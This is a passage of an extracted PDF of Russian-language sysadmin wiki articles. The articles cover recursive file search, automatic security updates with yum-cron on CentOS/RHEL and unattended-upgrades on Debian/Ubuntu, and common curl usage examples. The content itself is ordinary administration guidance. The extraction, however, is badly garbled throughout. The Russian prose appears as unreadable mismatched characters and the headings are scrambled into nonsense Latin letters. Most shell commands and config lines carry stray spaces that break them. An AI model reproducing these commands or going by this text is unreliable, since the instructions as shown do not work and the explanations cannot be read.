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ǒ Start at: - ʜʠʨʝʢʪʦʨʠʷ, ʛʜʝ ʥʫʞʥʦ ʦʩʫʱʝʩʪʚʣʷʪʴ ʧʦʠʩʢ; 

ǒ File name: - ʤʘʩʢʘ ʧʦʠʩʢʘ. ʅʘʧʨʠʤʝʨ, ʠʩʢʘʪʴ ʪʦʣʴʢʦ ʚ ʬʘʡʣʘʭ ʨʘʩʰʠʨʝʥʠʷ 

txt ʙʫʜʝʪ - *.txt; 

ǒ Content - ʩʘʤʘ ʬʨʘʟʘ; 

ʅʘʞʠʤʘʝʤ OK ʠ ʧʦʣʫʯʘʝʤ ʨʝʟʫʣʴʪʘʪ: 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/rekursivno-najti-slovo-v-fajlax-i-papkax-linux/2.png
https://wiki.merionet.ru/images/rekursivno-najti-slovo-v-fajlax-i-papkax-linux/2.png
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ǨȊȚȖȔȈȚȐȟȍșȒȈȧ țșȚȈȕȖȊȒȈ ȐșȗȘȈȊȓȍȕȐȑ ȉȍȏȖȗȈșȕȖșȚȐ Ȑ 

ȖȉȕȖȊȓȍȕȐȑ Ȋ CentOS Ȑ RHEL 

ʆʜʥʦʡ ʠʟ ʩʝʨʴʝʟʥʳʭ ʧʦʪʨʝʙʥʦʩʪʝʡ ʩʠʩʪʝʤʳ Linux ʷʚʣʷʝʪʩʷ ʨʝʛʫʣʷʨʥʦʝ 

ʦʙʥʦʚʣʝʥʠʝ ʧʦʩʣʝʜʥʠʭ ʦʙʥʦʚʣʝʥʠʡ ʙʝʟʦʧʘʩʥʦʩʪʠ ʠʣʠ ʦʙʥʦʚʣʝʥʠʡ, ʜʦʩʪʫʧʥʳʭ ʜʣʷ 

ʩʦʦʪʚʝʪʩʪʚʫʶʱʝʛʦ ʜʠʩʪʨʠʙʫʪʠʚʘ. 

ʈʘʩʩʢʘʞʝʤ, ʢʘʢ ʥʘʩʪʨʦʠʪʴ ʜʠʩʪʨʠʙʫʪʠʚ CentOS ʠ RHEL 7/6 ʜʣʷ ʘʚʪʦʤʘʪʠʯʝʩʢʦʛʦ 

ʦʙʥʦʚʣʝʥʠʷ ʥʝʦʙʭʦʜʠʤʳʭ ʧʘʢʝʪʦʚ ʙʝʟʦʧʘʩʥʦʩʪʠ ʧʨʠ ʥʝʦʙʭʦʜʠʤʦʩʪʠ. ɼʨʫʛʠʝ 

ʜʠʩʪʨʠʙʫʪʠʚʳ Linux ʠʟ ʪʝʭ ʞʝ ʩʝʤʝʡʩʪʚ (Fedora ʠʣʠ Scientific Linux) ʤʦʛʫʪ ʙʳʪʴ 

ʥʘʩʪʨʦʝʥʳ ʘʥʘʣʦʛʠʯʥʳʤ ʦʙʨʘʟʦʤ. 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/rekursivno-najti-slovo-v-fajlax-i-papkax-linux/3.png
https://wiki.merionet.ru/images/rekursivno-najti-slovo-v-fajlax-i-papkax-linux/3.png
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ɅȿɉɊɈɆɢȺȿ ȿɁɊɆɄȿɊȼɏɂɉȺȼɍ ɆɀɅɆɁɣɂɅȼɢ ɀɂɡɆɇȿɉɅɆɉɊȼ Ɂ ɉȼɉɊɂɄȿɍ 

EGPUQ% ȼ TJGN 

ʅʘ CentOS ʠʣʠ RHEL 7/6 ʥʝʦʙʭʦʜʠʤʦ ʫʩʪʘʥʦʚʠʪʴ ʧʘʨʫ ʥʫʞʥʳʭ ʧʘʢʝʪʦʚ: 

# yum update - y && yum install yum - cron - y 

 

ɁȺɣɖɏɂɅȼɂ ȿɁɊɆɄȿɊȼɏɂɉȺɆɝɆ ɆɀɅɆɁɣɂɅȼɗ ɀɂɡɆɇȿɉɅɆɉɊȼ Ʌȿ EGPUQ% ȼ TJGN 9 

ʇʦʩʣʝ ʟʘʚʝʨʰʝʥʠʷ ʫʩʪʘʥʦʚʢʠ ʦʪʢʨʦʡʪʝ /etc/yum/yum-cron.conf ʠ ʥʘʡʜʠʪʝ ʵʪʠ 

ʩʪʨʦʢʠ ʠ ʫʩʪʘʥʦʚʠʪʝ ʩʣʝʜʫʶʱʠʝ ʟʥʘʯʝʥʠʷ: 

update_cmd = security  

update_messages = yes  

download_updates = yes  

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/avtomaticheskaya-ustanovka-ispravlenij-bezopasnosti-i-obnovlenij-v-centos-i-rhel/1.jpg
https://wiki.merionet.ru/images/avtomaticheskaya-ustanovka-ispravlenij-bezopasnosti-i-obnovlenij-v-centos-i-rhel/1.jpg
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apply_updates = yes  

ʂʩʪʘʪʠ, ʫ ʥʘʩ ʝʩʪʴ ʩʪʘʪʴʷ, ʢʘʢ ʩʜʝʣʘʪʴ ʘʚʪʦʤʘʪʠʯʝʩʢʦʝ ʦʙʥʦʚʣʝʥʠʝ ʧʘʢʝʪʦʚ 

ʙʝʟʦʧʘʩʥʦʩʪʠ ʥʘ Debian ʠʣʠ Ubuntu 

ʇʝʨʚʘʷ ʩʪʨʦʢʘ ʫʢʘʟʳʚʘʝʪ, ʯʪʦ ʢʦʤʘʥʜʘ ʘʚʪʦʤʘʪʠʯʝʩʢʦʛʦ ʦʙʥʦʚʣʝʥʠʷ ʙʫʜʝʪ: 

# yum -- security upgrade  

ɺ ʪʦ ʚʨʝʤʷ ʢʘʢ ʜʨʫʛʠʝ ʩʪʨʦʢʠ ʚʢʣʶʯʘʶʪ ʫʚʝʜʦʤʣʝʥʠʷ ʠ ʘʚʪʦʤʘʪʠʯʝʩʢʫʶ ʟʘʛʨʫʟʢʫ, ʠ 

ʫʩʪʘʥʦʚʢʫ ʦʙʥʦʚʣʝʥʠʡ ʙʝʟʦʧʘʩʥʦʩʪʠ. 

ɺ ʩʣʝʜʫʶʱʠʭ ʩʪʨʦʢʘʭ ʪʘʢʞʝ ʫʢʘʟʳʚʘʝʪʩʷ, ʯʪʦ ʫʚʝʜʦʤʣʝʥʠʷ ʙʫʜʫʪ ʦʪʧʨʘʚʣʷʪʴʩʷ ʧʦ 

ʵʣʝʢʪʨʦʥʥʦʡ ʧʦʯʪʝ ʦʪ root@localhost ʥʘ ʪʫ ʞʝ ʫʯʝʪʥʫʶ ʟʘʧʠʩʴ. ʄʦʞʥʦ ʚʳʙʨʘʪʴ 

ʜʨʫʛʫʶ, ʝʩʣʠ ʥʝʦʙʭʦʜʠʤʦ. 

emit_via = email  

email_from = root@localhost  

email_to = root  

 

ɁȺɣɖɏɂɅȼɂ ȿɁɊɆɄȿɊȼɏɂɉȺɆɝɆ ɆɀɅɆɁɣɂɅȼɗ ɀɂɡɆɇȿɉɅɆɉɊȼ Ʌȿ EGPUQ% ȼ TJGN 8 

ʀʟʥʘʯʘʣʴʥʦ cron ʥʘʩʪʨʦʝʥ ʥʘ ʥʝʤʝʜʣʝʥʥʫʶ ʟʘʛʨʫʟʢʫ ʠ ʫʩʪʘʥʦʚʢʫ ʚʩʝʭ ʦʙʥʦʚʣʝʥʠʡ, 

ʥʦ ʤʳ ʤʦʞʝʤ ʠʟʤʝʥʠʪʴ ʵʪʦ ʚ ʬʘʡʣʝ ʢʦʥʬʠʛʫʨʘʮʠʠ /etc/sysconfig/yum-cron, 

ʫʩʪʘʥʦʚʠʚ ʜʚʘ ʧʘʨʘʤʝʪʨʘ ʥʘ yes. 

# Don' t install, just check (valid: yes|no)  

https://wiki.merionet.ru/
https://wiki.merionet.ru/servernye-resheniya/21/avtomaticheskaya-ustanovka-obnovlenij-bezopasnosti-v-debian-i-ubuntu/
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CHECK_ONLY=yes  

# Don't install, just check and download (valid: yes|no)  

# Implies CHECK_ONLY=yes (gotta check first to see what to download)  

DOWNLOAD_ONLY=yes  

ʏʪʦʙʳ ʚʢʣʶʯʠʪʴ ʫʚʝʜʦʤʣʝʥʠʝ ʧʦ ʵʣʝʢʪʨʦʥʥʦʡ ʧʦʯʪʝ ʦʙ ʦʙʥʦʚʣʝʥʠʷʭ ʧʘʢʝʪʘ 

ʙʝʟʦʧʘʩʥʦʩʪʠ, ʫʩʪʘʥʦʚʠʪʝ ʜʣʷ ʧʘʨʘʤʝʪʨʘ MAILTO ʥʫʞʥʳʡ ʧʦʯʪʦʚʳʡ ʘʜʨʝʩ. 

# by default MAILTO is unset, so crond mails the output by itself  

# example:  MAILTO=root  

MAILTO=wiki@merionet . com 

ʀ ʥʘʢʦʥʝʮ ʟʘʧʫʩʢʘʝʤ ʥʘʰ yum-cron ʩʝʨʚʠʩ: 

-------------  ɼʣ ̫ CentOS/ RHEL 7 -------------   

systemctl start yum - cron  

systemctl enable yum - cron  

 

-------------  ɼʣ ̫ CentOS/ RHEL 6 -------------    

# service yum - cron start  

https://wiki.merionet.ru/
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# chkconfig -- level 35 yum - cron on  

ʋʩʧʝʭ! ɺʳ ʫʩʧʝʰʥʦ ʥʘʩʪʨʦʠʣʠ ʘʚʪʦʤʘʪʠʯʝʩʢʠʝ ʦʙʥʦʚʣʝʥʠʷ CentOS ʠ RHEL 7/6. ɺ 

ʵʪʦʡ ʩʪʘʪʴʝ ʤʳ ʦʙʩʫʜʠʣʠ, ʢʘʢ ʨʝʛʫʣʷʨʥʦ ʦʙʥʦʚʣʷʪʴ ʚʘʰ ʩʝʨʚʝʨ ʩ ʧʦʤʦʱʴʶ 

ʧʦʩʣʝʜʥʠʭ ʦʙʥʦʚʣʝʥʠʡ ʙʝʟʦʧʘʩʥʦʩʪʠ. ʂʨʦʤʝ ʪʦʛʦ, ʚʳ ʫʟʥʘʣʠ, ʢʘʢ ʥʘʩʪʨʦʠʪʴ 

ʫʚʝʜʦʤʣʝʥʠʷ ʧʦ ʵʣʝʢʪʨʦʥʥʦʡ ʧʦʯʪʝ, ʯʪʦʙʳ ʙʳʪʴ ʚ ʢʫʨʩʝ ʥʦʚʳʭ ʧʘʪʯʝʡ. 

ǨȊȚȖȔȈȚȐȟȍșȒȈȧ țșȚȈȕȖȊȒȈ ȖȉȕȖȊȓȍȕȐȑ ȉȍȏȖȗȈșȕȖșȚȐ Ȋ 

Debian Ȑ Ubuntu 

ʆʜʥʦʡ ʠʟ ʚʘʞʥʝʡʰʠʭ ʧʦʪʨʝʙʥʦʩʪʝʡ ʩʠʩʪʝʤʳ Linux ʷʚʣʷʝʪʩʷ ʧʦʩʪʦʷʥʥʦʝ 

ʦʙʥʦʚʣʝʥʠʝ ʧʦʩʣʝʜʥʠʭ ʠʩʧʨʘʚʣʝʥʠʡ ʙʝʟʦʧʘʩʥʦʩʪʠ, ʜʦʩʪʫʧʥʳʭ ʜʣʷ 

ʩʦʦʪʚʝʪʩʪʚʫʶʱʝʛʦ ʜʠʩʪʨʠʙʫʪʠʚʘ. 

ɺ ʵʪʦʡ ʩʪʘʪʴʝ ʤʳ ʦʙʲʷʩʥʠʤ, ʢʘʢ ʥʘʩʪʨʦʠʪʴ ʩʠʩʪʝʤʫ Debian ʠ Ubuntu ʜʣʷ 

ʘʚʪʦʤʘʪʠʯʝʩʢʦʡ ʫʩʪʘʥʦʚʢʠ ʠ ʦʙʥʦʚʣʝʥʠʷ ʥʝʦʙʭʦʜʠʤʳʭ ʧʘʢʝʪʦʚ ʙʝʟʦʧʘʩʥʦʩʪʠ ʠʣʠ 

ʠʩʧʨʘʚʣʝʥʠʡ ʧʨʠ ʥʝʦʙʭʦʜʠʤʦʩʪʠ. 

ɼʣʷ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʯ, ʦʧʠʩʘʥʥʳʭ ʚ ʵʪʦʡ ʩʪʘʪʴʝ, ʚʘʤ ʧʦʥʘʜʦʙʷʪʩʷ ʧʨʘʚʘ 

ʩʫʧʝʨʧʦʣʴʟʦʚʘʪʝʣʷ. 

https://wiki.merionet.ru/


 
 

 

111                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

 

 

ɅȿɉɊɈɆɢȺȿ ȿɁɊɆɄȿɊȼɏɂɉȺȼɍ ɆɀɅɆɁɣɂɅȼɢ ɀɂɡɆɇȿɉɅɆɉɊȼ Ɂ FGDKCP ȼ 

UBUNTU  

ɼʣʷ ʥʘʯʘʣʘ ʫʩʪʘʥʦʚʠʪʝ ʩʣʝʜʫʶʱʠʝ ʧʘʢʝʪʳ: 

# aptitude upda te - y && aptitude install unattended - upgrades apt - listchanges 

- y 

ʛʜʝ apt-listchanges ʩʦʦʙʱʠʪ, ʯʪʦ ʙʳʣʦ ʠʟʤʝʥʝʥʦ ʚʦ ʚʨʝʤʷ ʦʙʥʦʚʣʝʥʠʷ. 

ʂʩʪʘʪʠ, ʫ ʥʘʩ ʝʩʪʴ ʩʪʘʪʴʷ, ʢʘʢ ʩʜʝʣʘʪʴ ʘʚʪʦʤʘʪʠʯʝʩʢʦʝ ʦʙʥʦʚʣʝʥʠʝ ʧʘʢʝʪʦʚ 

ʙʝʟʦʧʘʩʥʦʩʪʠ ʥʘ CentOS ʠʣʠ RHEL 

ɿʘʪʝʤ ʦʪʢʨʦʡʪʝ /etc/apt/apt.conf.d/50unattended-upgrades ʚ ʪʝʢʩʪʦʚʦʤ ʨʝʜʘʢʪʦʨʝ 

ʠ ʜʦʙʘʚʴʪʝ ʵʪʫ ʩʪʨʦʢʫ ʚ ʙʣʦʢ Unattended-Upgrade :: Origins-Pattern : 

Unattended - Upgrade :: Mail  "root" ;  

https://wiki.merionet.ru/
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https://wiki.merionet.ru/images/avtomaticheskaya-ustanovka-obnovlenij-bezopasnosti-v-debian-i-ubuntu/1.jpg
https://wiki.merionet.ru/servernye-resheniya/21/avtomaticheskaya-ustanovka-ispravlenij-bezopasnosti-i-obnovlenij-v-centos-i-rhel/
https://wiki.merionet.ru/servernye-resheniya/21/avtomaticheskaya-ustanovka-ispravlenij-bezopasnosti-i-obnovlenij-v-centos-i-rhel/


 
 

 

112                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

ʅʘʢʦʥʝʮ, ʠʩʧʦʣʴʟʫʡʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ ʜʣʷ ʩʦʟʜʘʥʠʷ ʠ ʟʘʧʦʣʥʝʥʠʷ 

ʥʝʦʙʭʦʜʠʤʦʛʦ ʬʘʡʣʘ ʢʦʥʬʠʛʫʨʘʮʠʠ /etc/apt/apt.conf.d/20auto-upgrades ʜʣʷ 

ʘʢʪʠʚʘʮʠʠ ʘʚʪʦʤʘʪʠʯʝʩʢʠʭ ʦʙʥʦʚʣʝʥʠʡ: 

# dpkg - reconfigure - plow unattended - upgrades  

ɺʳʙʝʨʠʪʝ Yes, ʢʦʛʜʘ ʙʫʜʝʪ ʧʨʝʜʣʦʞʝʥʦ ʫʩʪʘʥʦʚʠʪʴ ʘʚʪʦʤʘʪʠʯʝʩʢʠʝ ʦʙʥʦʚʣʝʥʠʷ 

(Automatically download and install stable updates? ) ʠ ʟʘʪʝʤ ʫʙʝʜʠʪʝʩʴ, ʯʪʦ 

ʩʣʝʜʫʶʱʠʝ ʜʚʝ ʩʪʨʦʢʠ ʙʳʣʠ ʜʦʙʘʚʣʝʥʳ ʚ /etc/apt/apt.conf.d/20auto-upgrades: 

APT:: Periodic :: Update - Package - Lists  "1" ;  

APT:: Periodic :: Unattended - Upgrade  "1" ;  

ʀ ʜʦʙʘʚʴʪʝ ʵʪʫ ʩʪʨʦʢʫ, ʯʪʦʙʳ ʩʜʝʣʘʪʴ ʦʪʯʝʪʳ ʧʦʜʨʦʙʥʳʤʠ: 

APT:: Periodic :: Verbose  "2" ;  

ʅʘʢʦʥʝʮ, ʧʨʦʚʝʨʴʪʝ /etc/apt/listchanges.conf, ʯʪʦʙʳ ʫʙʝʜʠʪʴʩʷ, ʯʪʦ ʫʚʝʜʦʤʣʝʥʠʷ 

ʙʫʜʫʪ ʦʪʧʨʘʚʣʝʥʳ ʚ root. 

email_address =root  

ɻʦʪʦʚʦ! ɺ ʵʪʦʡ ʩʪʘʪʴʝ ʤʳ ʦʙʲʷʩʥʠʣʠ, ʢʘʢ ʦʙʝʩʧʝʯʠʪʴ ʨʝʛʫʣʷʨʥʦʝ ʦʙʥʦʚʣʝʥʠʝ 

ʚʘʰʝʡ ʩʠʩʪʝʤʳ ʧʦʩʣʝʜʥʠʤʠ ʦʙʥʦʚʣʝʥʠʷʤʠ ʙʝʟʦʧʘʩʥʦʩʪʠ. ʂʨʦʤʝ ʪʦʛʦ, ʚʳ ʫʟʥʘʣʠ, 

ʢʘʢ ʥʘʩʪʨʦʠʪʴ ʫʚʝʜʦʤʣʝʥʠʷ, ʯʪʦʙʳ ʜʝʨʞʘʪʴ ʩʝʙʷ ʚ ʢʫʨʩʝ, ʢʦʛʜʘ ʧʨʠʤʝʥʷʶʪʩʷ 

ʠʩʧʨʘʚʣʝʥʠʷ. 

 

https://wiki.merionet.ru/
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15 ȗȘȐȔȍȘȖȊ CURL Ȋ Linux  

ɺ ʩʝʨʝʜʠʥʝ 1990-ʭ ʛʦʜʦʚ, ʢʦʛʜʘ ʀʥʪʝʨʥʝʪ ʝʱʝ ʪʦʣʴʢʦ ʥʘʯʠʥʘʣ ʨʘʟʚʠʚʘʪʴʩʷ, 

ʰʚʝʜʩʢʠʡ ʧʨʦʛʨʘʤʤʠʩʪ ʧʦ ʠʤʝʥʠ ɼʘʥʠʵʣʴ ʉʪʝʥʙʝʨʛ ʥʘʯʘʣ ʧʨʦʝʢʪ, ʢʦʪʦʨʳʡ ʚ 

ʢʦʥʝʯʥʦʤ ʠʪʦʛʝ ʧʨʝʚʨʘʪʠʣʩʷ ʚ ʪʦ, ʯʪʦ ʤʳ ʩʝʛʦʜʥʷ ʟʥʘʝʤ, ʢʘʢ Curl. ʇʝʨʚʦʥʘʯʘʣʴʥʦ 

ʦʥ ʩʪʨʝʤʠʣʩʷ ʨʘʟʨʘʙʦʪʘʪʴ ʙʦʪʘ, ʢʦʪʦʨʳʡ ʙʳ ʧʝʨʠʦʜʠʯʝʩʢʠ ʟʘʛʨʫʞʘʣ ʢʫʨʩʳ ʚʘʣʶʪ 

ʩ ʚʝʙ-ʩʪʨʘʥʠʮʳ ʠ ʧʨʝʜʦʩʪʘʚʣʷʣ ʧʦʣʴʟʦʚʘʪʝʣʷʤ IRC ʵʢʚʠʚʘʣʝʥʪʳ ʰʚʝʜʩʢʠʭ ʢʨʦʥ ʚ 

ʜʦʣʣʘʨʘʭ ʉʐɸ. ʇʨʦʝʢʪ ʧʨʦʮʚʝʪʘʣ, ʜʦʙʘʚʣʷʣʠʩʴ ʥʦʚʳʝ ʧʨʦʪʦʢʦʣʳ ʠ ʬʫʥʢʮʠʠ, ʠ ʚ 

ʢʦʥʮʝ ʢʦʥʮʦʚ ʤʳ ʧʦʣʫʯʠʣʠ ʪʦʪ ʬʫʥʢʮʠʦʥʘʣ, ʢʦʪʦʨʳʡ ʠʤʝʝʤ ʩʝʡʯʘʩ. 

 

ɇɆɉɄɆɊɈɂɊɔ ɁɂɈɉȼɖ EVTN 

ʆʧʮʠʠ -V ʠʣʠ --version ʙʫʜʫʪ ʚʦʟʚʨʘʱʘʪʴ ʥʝ ʪʦʣʴʢʦ ʚʝʨʩʠʶ, ʥʦ ʪʘʢʞʝ 

ʧʦʜʜʝʨʞʠʚʘʝʤʳʝ ʧʨʦʪʦʢʦʣʳ ʠ ʬʫʥʢʮʠʠ ʚ ʪʝʢʫʱʝʡ ʚʝʨʩʠʠ. 

$ curl -- version  

 

curl 7.47 . 0 ( x86_64 - pc - linux - gnu )  libcurl / 7.47 . 0 GnuTLS/ 3.4 . 10 zlib / 1.2 . 8 

libidn / 1.32  librtmp / 2.3  

Protocols :  dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 

pop3s rtmp rtsp smb smbs smtp smtps telnet tftp  

Features :  AsynchDNS IDN IPv6  Largefile  GSS- API Kerberos  SPNEGO NTLM NTLM_WB 

SSL libz TLS - SRP UnixSockets  
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ɉȺȿɏȿɊɔ Ɍȿɢɣ 

ɽʩʣʠ ʚʳ ʭʦʪʠʪʝ ʟʘʛʨʫʟʠʪʴ ʬʘʡʣ, ʚʳ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ curl ʩ ʦʧʮʠʷʤʠ -O ʠʣʠ -o. 

ʇʝʨʚʳʡ ʩʦʭʨʘʥʠʪ ʬʘʡʣ ʚ ʪʝʢʫʱʝʤ ʨʘʙʦʯʝʤ ʢʘʪʘʣʦʛʝ ʩ ʪʝʤ ʞʝ ʠʤʝʥʝʤ, ʯʪʦ ʠ ʚ 

ʫʜʘʣʝʥʥʦʤ ʤʝʩʪʦʧʦʣʦʞʝʥʠʠ, ʪʦʛʜʘ ʢʘʢ ʚʪʦʨʦʡ ʧʦʟʚʦʣʷʝʪ ʚʘʤ ʫʢʘʟʘʪʴ ʜʨʫʛʦʝ ʠʤʷ 

ʬʘʡʣʘ ʠ/ʠʣʠ ʤʝʩʪʦʧʦʣʦʞʝʥʠʝ. 

$ curl - O http :// merionet.ru/yourfile.tar.gz  # Save as yourfile.tar.gz  

$ curl - o newfile . tar . gz http :// merionet.ru /yourfile.tar.gz # Save as 

newfile.tar.gz  

 

ɁɆɡɆɀɅɆɁȼɊɔ ɇɈɂɈɁȿɅɅɋɖ ɡȿɝɈɋɡȺɋ 

ɽʩʣʠ ʟʘʛʨʫʟʢʘ ʧʦ ʢʘʢʦʡ-ʣʠʙʦ ʧʨʠʯʠʥʝ ʙʳʣʘ ʧʨʝʨʚʘʥʘ (ʥʘʧʨʠʤʝʨ, ʩ ʧʦʤʦʱʴʶ Ctrl + 

c), ʚʳ ʤʦʞʝʪʝ ʚʦʟʦʙʥʦʚʠʪʴ ʝʝ ʦʯʝʥʴ ʣʝʛʢʦ. ʀʩʧʦʣʴʟʦʚʘʥʠʝ -C - (ʪʠʨʝ C, ʧʨʦʙʝʣ, 

ʪʠʨʝ) ʫʢʘʟʳʚʘʝʪ curl ʚʦʟʦʙʥʦʚʠʪʴ ʟʘʛʨʫʟʢʫ ʩ ʪʦʛʦ ʤʝʩʪʘ, ʛʜʝ ʦʥʘ ʦʩʪʘʥʦʚʠʣʘʩʴ. 

$ curl - C -  - O http :// merionet.ru/yourfile.tar.gz  

 

ɉȺȿɏȿɊɔ ɅɂɉȺɆɣɔȺɆ ɌȿɢɣɆɁ 

ʉ ʧʦʤʦʱʴʶ ʩʣʝʜʫʶʱʝʡ ʢʦʤʘʥʜʳ ʚʳ ʩʨʘʟʫ ʟʘʛʨʫʟʠʪʝ info.html ʠ about.html ʩ 

http://merionet.ru ʠ http://wiki.merionet.ru ʩʦʦʪʚʝʪʩʪʚʝʥʥʦ. 

$ curl - O http :// merionet.ru/info.html  - O http://wiki.merionet.ru/about.html  

 

https://wiki.merionet.ru/
http://merionet.ru/yourfile.tar.gz
http://merionet.ru/yourfile.tar.gz
http://merionet.ru/
http://wiki.merionet.ru/
http://merionet.ru/info.html
http://wiki.merionet.ru/about.html
http://wiki.merionet.ru/about.html
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ɉȺȿɏȿɊɔ VTN ȼɡ Ɍȿɢɣȿ 

ɽʩʣʠ ʚʳ ʢʦʤʙʠʥʠʨʫʝʪʝ curl ʩ xargs, ʚʳ ʤʦʞʝʪʝ ʟʘʛʨʫʞʘʪʴ ʬʘʡʣʳ ʠʟ ʩʧʠʩʢʘ URL-

ʘʜʨʝʩʦʚ ʚ ʬʘʡʣʝ. 

$ xargs - n 1 curl - O < listurls . txt  

 

ȼɉɇɆɣɔɡɆɁȿɊɔ ɇɈɆȺɉȼ ɉ ȿɋɊɂɅɊȼɌȼȺȿɎȼɂɢ ȼɣȼ ɀɂɡ Ʌɂɂ 

ɽʩʣʠ ʚʳ ʥʘʭʦʜʠʪʝʩʴ ʟʘ ʧʨʦʢʩʠ-ʩʝʨʚʝʨʦʤ, ʧʨʦʩʣʫʰʠʚʘʶʱʠʤ ʧʦʨʪ 8080 ʥʘ 

proxy.yourdomain.com, ʩʜʝʣʘʡʪʝ ʵʪʦ: 

$ curl - x proxy . merionet . ru : 8080  - U user : password - O 

http :// merionet.ru/yourfile.tar.gz  

ʛʜʝ ʚʳ ʤʦʞʝʪʝ ʧʨʦʧʫʩʪʠʪʴ -U user: ʧʘʨʦʣʴ, ʝʩʣʠ ʚʘʰ ʧʨʦʢʩʠ ʥʝ ʪʨʝʙʫʝʪ 

ʘʫʪʝʥʪʠʬʠʢʘʮʠʠ. 

 

ɡȿɝɆɣɆɁȺȼ ɡȿɇɈɆɉȿ JUUR 

ɿʘʛʦʣʦʚʢʠ HTTP ʧʦʟʚʦʣʷʶʪ ʫʜʘʣʝʥʥʦʤʫ ʚʝʙ-ʩʝʨʚʝʨʫ ʦʪʧʨʘʚʣʷʪʴ ʜʦʧʦʣʥʠʪʝʣʴʥʫʶ 

ʠʥʬʦʨʤʘʮʠʶ ʦ ʩʝʙʝ ʚʤʝʩʪʝ ʩ ʬʘʢʪʠʯʝʩʢʠʤ ʟʘʧʨʦʩʦʤ. ʕʪʦ ʧʨʝʜʦʩʪʘʚʣʷʝʪ ʢʣʠʝʥʪʫ 

ʧʦʜʨʦʙʥʫʶ ʠʥʬʦʨʤʘʮʠʶ ʦ ʪʦʤ, ʢʘʢ ʦʙʨʘʙʘʪʳʚʘʝʪʩʷ ʟʘʧʨʦʩ. 

ʏʪʦʙʳ ʟʘʧʨʦʩʠʪʴ ʟʘʛʦʣʦʚʢʠ HTTP ʩ ʩʘʡʪʘ, ʚʳʧʦʣʥʠʪʝ: 

$ curl - I www . merionet . ru  

https://wiki.merionet.ru/
http://proxy.yourdomain.com/
http://merionet.ru/yourfile.tar.gz
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ʕʪʘ ʠʥʬʦʨʤʘʮʠʷ ʪʘʢʞʝ ʜʦʩʪʫʧʥʘ ʚ ʠʥʩʪʨʫʤʝʥʪʘʭ ʨʘʟʨʘʙʦʪʯʠʢʘ ʚʘʰʝʛʦ ʙʨʘʫʟʝʨʘ. 

 

ɉɠɂɣȿɊɔ ɡȿɇɈɆɉ RQ%U ɉ ɇȿɈȿɄɂɊɈȿɄȼ 

ʉʣʝʜʫʶʱʘʷ ʢʦʤʘʥʜʘ ʦʪʧʨʘʚʠʪ ʧʘʨʘʤʝʪʨʳ firstName ʠ lastName ʚʤʝʩʪʝ ʩ 

ʩʦʦʪʚʝʪʩʪʚʫʶʱʠʤʠ ʟʥʘʯʝʥʠʷʤʠ ʥʘ https://merionet.ru/info.php. 

$ curl -- data "firstName=John&lastName=Doe"  https :// merionet.ru/info.php .  

ɺʳ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ ʵʪʦʪ ʩʦʚʝʪ ʜʣʷ ʠʤʠʪʘʮʠʠ ʧʦʚʝʜʝʥʠʷ ʦʙʳʯʥʦʡ ʬʦʨʤʳ 

HTML. 

 

ɡȿɝɈɋɡȺȿ ɌȿɢɣɆɁ ɉ HUR-ɉɂɈɁɂɈȿ ɉ ȿɋɊɂɅɊȼɌȼȺȿɎȼɂɢ ȼɣȼ ɀɂɡ Ʌɂɂ 

ɽʩʣʠ ʫʜʘʣʝʥʥʳʡ FTP-ʩʝʨʚʝʨ ʦʞʠʜʘʝʪ ʧʦʜʢʣʶʯʝʥʠʷ ʧʦ ʘʜʨʝʩʫ ftp://yourftpserver, 

ʩʣʝʜʫʶʱʘʷ ʢʦʤʘʥʜʘ ʟʘʛʨʫʟʠʪ yourfile.tar.gz ʚ ʪʝʢʫʱʠʡ ʨʘʙʦʯʠʡ ʢʘʪʘʣʦʛ. 

$ curl - u username : password - O ftp ://yourftpserver/yourfile.tar.gz  

ʛʜʝ ʚʳ ʤʦʞʝʪʝ ʧʨʦʧʫʩʪʠʪʴ -u username: password, ʝʩʣʠ FTP-ʩʝʨʚʝʨ ʨʘʟʨʝʰʘʝʪ 

ʘʥʦʥʠʤʥʳʡ ʚʭʦʜ. 

 

ɡȿɝɈɋɡȼɊɔ Ɍȿɢɣɓ Ʌȿ HUR-ɉɂɈɁɂɈ ɉ ȿɋɊɂɅɊȼɌȼȺȿɎȼɂɢ ȼɣȼ ɀɂɡ 

ʏʪʦʙʳ ʟʘʛʨʫʟʠʪʴ ʣʦʢʘʣʴʥʳʡ ʬʘʡʣ mylocalfile.tar.gz ʚ ftp://yourftpserver ʩ ʧʦʤʦʱʴʶ 

curl, ʚʳʧʦʣʥʠʪʝ: 

https://wiki.merionet.ru/
https://merionet.ru/info.php
http://merionet.ru/info.php
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$ curl - u username : password - T mylocalfile . tar . gz ftp ://yourftpserver  

 

ɋȺȿɡȿɅȼɂ ɇɆɣɔɡɆɁȿɊɂɣɔɉȺɆɝɆ ȿɝɂɅɊȿ 

ʇʦʣʴʟʦʚʘʪʝʣʴʩʢʠʡ ʘʛʝʥʪ ʷʚʣʷʝʪʩʷ ʯʘʩʪʴʶ ʠʥʬʦʨʤʘʮʠʠ, ʢʦʪʦʨʘʷ ʦʪʧʨʘʚʣʷʝʪʩʷ 

ʚʤʝʩʪʝ ʩ HTTP-ʟʘʧʨʦʩʦʤ. ʕʪʦ ʫʢʘʟʳʚʘʝʪ, ʢʘʢʦʡ ʙʨʘʫʟʝʨ ʢʣʠʝʥʪ ʠʩʧʦʣʴʟʦʚʘʣ, 

ʯʪʦʙʳ ʩʜʝʣʘʪʴ ʟʘʧʨʦʩ. 

$ curl - I http ://localhost -- user - agent "New web browser"  

 

ɍɈȿɅɂɅȼɂ EQQMKG% 

ʍʦʪʠʪʝ ʫʟʥʘʪʴ, ʢʘʢʠʝ ʬʘʡʣʳ cookie ʟʘʛʨʫʞʘʶʪʩʷ ʥʘ ʚʘʰ ʢʦʤʧʴʶʪʝʨ, ʢʦʛʜʘ ʚʳ 

